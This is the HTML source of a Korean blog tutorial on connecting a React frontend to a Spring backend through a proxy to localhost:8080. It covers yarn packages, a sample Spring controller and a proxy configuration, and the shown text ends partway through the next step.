&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;그전에 아래의 선택 사항을 확인해주세요&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;backend 와의 연동에 관련 API를 설치한 뒤에 응용하는 방법이 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니면 관련 API없이 진행하는 방법도 존재합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에서 말하는 관련 API는 함수를 실행해서 바로 연동이 되는 기능을 의미하진 않으며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드와의 통신과 관련되어 사람들이 많이 사용하는 기능을 지니고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 추가는 해당 프로젝트 폴더 경로안에 cd로 들어간 상태에서 다음을 입력합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;①&lt;span style=&quot;color: #ffffff; background-color: #000000;&quot;&gt;yarn&amp;nbsp;add&amp;nbsp;http-proxy-middleware&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통신요청 get post 를 요청할때 기본 경로와 포트를 맞추기 위해서 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 react&amp;nbsp; 에서 제공되는 방법을 사용해도 되지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부 설정의 한계가 있을 때 이 API를 통해서 적용해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;②&lt;span style=&quot;background-color: #000000; color: #ffffff;&quot;&gt;yarn add axios&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 api를 사용할 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;get은 기본적으로 json으로 들어오며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;post에서 {&lt;span style=&quot;color: #8a3db6;&quot;&gt;data&lt;/span&gt; : anydata} 인자를 줌으로써 json으로 변환 등록해 줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 실행 속도면에서는 기본 제공 메소드를 사용하는 쪽이 더 빠른점을 유의해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고할만한&amp;nbsp; 라이브러리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;①&lt;span style=&quot;color: #ffffff; background-color: #000000;&quot;&gt;yarn add styled-components&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트 엔드에서 css 를 &amp;lt;tag&amp;gt;로 만들어서 &amp;lt;tag&amp;gt;&amp;lt;/tag&amp;gt; 내의 모든 컴포넌트들에 일괄 적용하는 라이브러리입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연동과는 관계가없으나 필요시 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;②&lt;span style=&quot;color: #ffffff; background-color: #000000;&quot;&gt;yarn add react-router-dom&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로이동에 필요한 라이브러리입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연동과는 관계가없으나 다중 경로를 사용할 경우 반드시 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;③&lt;span style=&quot;color: #ffffff; background-color: #000000;&quot;&gt;yarn &lt;s&gt;global&lt;/s&gt; add typescript&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@yj6151122/TypeScript%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0-%ED%95%84%EC%88%98-%EB%AC%B8%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;타입 스크립트에 대한 정보&lt;/a&gt;는 링크를 눌러서 확인해주세요. 내용이 짧습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;연동과는 관계가없으나 웬만하면 설치합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+global로 설치시 모듈을 찾지 못하는 현상이 발견 되었습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJT2rM/btrR30fKRAi/kq9jJB4bFK6uOJqAHs6YL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJT2rM/btrR30fKRAi/kq9jJB4bFK6uOJqAHs6YL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJT2rM/btrR30fKRAi/kq9jJB4bFK6uOJqAHs6YL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJT2rM%2FbtrR30fKRAi%2Fkq9jJB4bFK6uOJqAHs6YL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;831&quot; height=&quot;658&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선택사항까지 확인하고 설치를 완료하셧다면 실행하셔서 위의 화면이 출력되는지 확인합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t5Nps/btrR9GWIAFu/4wYumhd2aPxXwE8zSIPInk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t5Nps/btrR9GWIAFu/4wYumhd2aPxXwE8zSIPInk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t5Nps/btrR9GWIAFu/4wYumhd2aPxXwE8zSIPInk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft5Nps%2FbtrR9GWIAFu%2F4wYumhd2aPxXwE8zSIPInk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;768&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 c:/프로젝트명 파일은 원하는 통합개발환경 툴로 프로젝트 폴더를 import 해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작자는 frontend 에서 Visual Studio Code를 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3.Spring 과 연동&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 서버와 Spring 서버간에 통신을 하는 작업입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1.Spring 측 준비사항&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1095&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFZuVC/btrR8onYZED/2oOnULo5edlB6RJLClbkRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFZuVC/btrR8onYZED/2oOnULo5edlB6RJLClbkRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFZuVC/btrR8onYZED/2oOnULo5edlB6RJLClbkRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFZuVC%2FbtrR8onYZED%2F2oOnULo5edlB6RJLClbkRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1095&quot; height=&quot;758&quot; data-origin-width=&quot;1095&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 json을 주고 받을 컨트롤러먼저 만들어야 되므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jackson 이 없다면 pom.xml 에 의존 추가해 줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹은 이를 사용하지않고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@ResponseBody 를 get 메소드에 붙여쓰는 방법도 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;&lt;b&gt;메이븐 의존&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;dependency&amp;gt;&lt;br /&gt;&amp;lt;groupId&amp;gt;com.fasterxml.jackson.core&amp;lt;/groupId&amp;gt;&lt;br /&gt;&amp;lt;artifactId&amp;gt;jackson-databind&amp;lt;/artifactId&amp;gt;&lt;br /&gt;&amp;lt;version&amp;gt;2.9.4&amp;lt;/version&amp;gt;&lt;br /&gt;&amp;lt;/dependency&amp;gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;컨트롤러 작성 예제&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작자의 경우엔 bridge 패키지를 추가하고 BridgeController를 다음과 같이 정의했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;※일부 import 가 먹히지 않아서 예제에서 import 구문 까지 제공했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;import org.springframework.web.bind.annotation.RequestMapping;&lt;br /&gt;import&amp;nbsp;org.springframework.web.bind.annotation.RestController;&lt;br /&gt;import&amp;nbsp;org.springframework.web.bind.annotation.RequestMethod;&lt;br /&gt;@RestController&lt;br /&gt;public class BridgeController {&lt;br /&gt;@GetMapping(&quot;/bridge&quot;)&lt;br /&gt;public List&amp;lt;String&amp;gt; ping() {return Arrays.asList(&quot;hello React&quot;, &quot;i am Spring&quot;);}&lt;br /&gt;}&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성한 컨트롤러를 configuration 에 Bean 으로 등록해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBpe4W/btrR8tCKE8a/VNfnKmbruYHVo2kfvYmW9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBpe4W/btrR8tCKE8a/VNfnKmbruYHVo2kfvYmW9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBpe4W/btrR8tCKE8a/VNfnKmbruYHVo2kfvYmW9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBpe4W%2FbtrR8tCKE8a%2FVNfnKmbruYHVo2kfvYmW9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;854&quot; height=&quot;758&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 확인을 위해서 이클립스 내에서 localhost:8080/프로젝트명/bridge(get에 작성한 경로) 에 접속해봅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;466&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bStdB4/btrSahCgDKb/z1TGVRxFSx9y6CzMCwV8mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bStdB4/btrSahCgDKb/z1TGVRxFSx9y6CzMCwV8mK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bStdB4/btrSahCgDKb/z1TGVRxFSx9y6CzMCwV8mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbStdB4%2FbtrSahCgDKb%2Fz1TGVRxFSx9y6CzMCwV8mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;466&quot; height=&quot;302&quot; data-origin-width=&quot;466&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드 설정이 무사히 끝났으므로 프론트엔드로 넘어갑니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2.React 측 준비사항&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React와 Spring 간의 통신 경로의 포트를 리엑트의 3000에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;톰켓의 포트 8080(혹은 서버설정 포트)로 맞출 필요가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;ⓐhttp-proxy-middleware API 를 사용한다면&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;src &lt;b&gt;setupProxy&lt;/b&gt;.js 를 생성해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bitmPl/btrR8JfBlMt/AVNMjA2uXFLNPLAkvZBI31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bitmPl/btrR8JfBlMt/AVNMjA2uXFLNPLAkvZBI31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bitmPl/btrR8JfBlMt/AVNMjA2uXFLNPLAkvZBI31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbitmPl%2FbtrR8JfBlMt%2FAVNMjA2uXFLNPLAkvZBI31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;768&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;src/setupProxy.js&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;const&amp;nbsp;{createProxyMiddleware} = require('http-proxy-middleware');&lt;br /&gt;&lt;br /&gt;module.exports&amp;nbsp;= (app)&amp;nbsp;=&amp;gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;app.use(&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;'/project'&lt;/span&gt;,&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;createProxyMiddleware({&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;target:&amp;nbsp;'http://localhost:8080',&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;changeOrigin: true&lt;br /&gt;&amp;nbsp; &amp;nbsp; })&lt;br /&gt;&amp;nbsp; );&lt;br /&gt;};&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빨간 글씨는 본인의 프로젝트 명에 맞게 수정해 주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에 &lt;span style=&quot;background-color: #fafafa;&quot;&gt;fetch(&quot;/project/&lt;span style=&quot;color: #ee2323;&quot;&gt;anypath&lt;/span&gt;&quot;) 를 통해서 요청하는 get이나 post 요청은&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa;&quot;&gt;http://localhost:8080/project/anypath 의 경로를 거치게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 api를 사용했을 때와 사용하지 않았을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/project 가 사용된 경로에서만 8080의 포트가 사용되지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 경로는 지정되지 않아서 다른 주소와 포트를 할당할 수 있다는 차이가 존재합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;changeOrigin&lt;/span&gt;: &lt;span style=&quot;color: #99cefa;&quot;&gt;true&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;는 서버로 데이터를 보냈을때 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;데이터 포멧 형식을 서버에 맞춰 변형해주는 옵션입니다.&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #ee2323;&quot;&gt;setupPorxy.js 는 반드시 src/&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;setupPorxy.js&lt;/span&gt; 의 경로를 지녀야합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #f89009;&quot;&gt;내부의 다른 서브경로를 두고 src/path/&lt;span style=&quot;background-color: #fcfcfc;&quot;&gt;setupPorxy.js로 작성할 경우 이를 인식하지 못합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;ⓑ기본 react 제공으로 설정한다면&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;package.json에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #dddddd; background-color: #333333;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&quot;proxy&quot;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&quot;http://localhost:8080&quot;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 추가해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bix69Z/btrR75PYZAX/DWPKZU3gMIbR2Tic56BfQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bix69Z/btrR75PYZAX/DWPKZU3gMIbR2Tic56BfQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bix69Z/btrR75PYZAX/DWPKZU3gMIbR2Tic56BfQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbix69Z%2FbtrR75PYZAX%2FDWPKZU3gMIbR2Tic56BfQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1440&quot; height=&quot;860&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후의 모든 get 과 post 의 요청은 http://localhost:8080을 통해 요청됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 fetch(&quot;/project&quot;) 를 사용할 경우 &lt;span style=&quot;background-color: #fafafa;&quot;&gt;http://localhost:8080/project 의 경로에 get 요청을 보냅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 백엔드에 데이터를 요청해서 프론트엔드에서 출력해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;App.js 의 jsx 구문에 존재하는 &amp;lt;div&amp;gt; &amp;lt;/div&amp;gt; 내부의 코드들을 지우고&lt;/p&gt;
